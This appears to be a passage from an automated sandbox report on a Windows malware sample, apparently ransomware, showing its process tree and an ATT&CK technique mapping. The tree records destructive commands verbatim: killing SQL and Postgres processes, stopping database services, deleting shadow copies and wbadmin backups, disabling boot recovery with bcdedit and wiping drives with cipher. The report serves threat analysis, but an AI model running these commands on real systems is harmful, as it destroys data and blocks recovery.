    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
      4⤵
      PID:1764
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im Ssms.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
      4⤵
      PID:1752
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im SQLAGENT.EXE
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
      4⤵
      PID:2116
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdhost.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
      4⤵
      PID:2408
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im ReportingServicesService.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
      4⤵
      PID:1088
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msftesql.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
      4⤵
      PID:676
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im pg_ctl.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:444
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe
      4⤵
      PID:2364
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -impostgres.exe
        5⤵
        Kills process with taskkill
        
        PID:704
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
    3⤵
    - System Location Discovery: System Language Discovery
    PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
      4⤵
      PID:1324
    - - C:\Windows\system32\net.exe
        
        net stop MSSQLServerADHelper100
        5⤵
        
        PID:1548
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQLServerADHelper100
        6⤵
        
        PID:904
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS
      4⤵
      PID:1744
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$ISARS
        5⤵
        
        PID:1296
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$ISARS
        6⤵
        
        PID:1468
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW
      4⤵
      PID:1676
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$MSFW
        5⤵
        
        PID:1660
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$MSFW
        6⤵
        
        PID:1664
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS
      4⤵
      PID:888
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$ISARS
        5⤵
        
        PID:568
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$ISARS
        6⤵
        
        PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW
      4⤵
      PID:2440
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$MSFW
        5⤵
        
        PID:1460
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$MSFW
        6⤵
        
        PID:2268
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLBrowser
      4⤵
      PID:1996
    - - C:\Windows\system32\net.exe
        
        net stop SQLBrowser
        5⤵
        
        PID:1240
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        6⤵
        
        PID:2464
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS
      4⤵
      PID:2336
    - - C:\Windows\system32\net.exe
        
        net stop REportServer$ISARS
        5⤵
        
        PID:2008
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop REportServer$ISARS
        6⤵
        
        PID:2244
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter
    3⤵
    - System Location Discovery: System Language Discovery
    PID:932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLWriter
      4⤵
      PID:2676
    - - C:\Windows\system32\net.exe
        
        net stop SQLWriter
        5⤵
        
        PID:3028
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        6⤵
        
        PID:3024
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      PID:3952
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        5⤵
        Interacts with shadow copies
        
        PID:5788
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
      4⤵
      PID:1964
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -keepVersion:0 -quiet
        5⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
      4⤵
      PID:4016
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTATEBACKUP
        5⤵
        Deletes System State backups
        Drops file in Windows directory
        
        PID:5652
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
      4⤵
      PID:3924
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
        5⤵
        
        PID:4152
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
      4⤵
      PID:4040
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe SHADOWCOPY /nointeractive
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5780
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
      4⤵
      PID:3932
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} recoverynabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:5592
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:4024
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:5768
- - C:\Windows\system32\cipher.exe
    cipher /w:\\?\C:
    3⤵
    PID:2008
- - C:\Windows\system32\cipher.exe
    cipher /w:\\?\A:
    3⤵
    - Enumerates connected drives
    PID:2244
- - C:\Windows\system32\cipher.exe
    cipher /w:\\?\F:
    3⤵
    - Enumerates connected drives
    PID:2328
- C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
  \\?\C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe -network
  2⤵
  - Adds Run key to start application
  PID:3916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3016-190-0x00000000777E0000-0x00000000778DA000-memory.dmp

Filesize
1000KB

Download
memory/3016-189-0x00000000776C0000-0x00000000777DF000-memory.dmp

Filesize
1.1MB

Download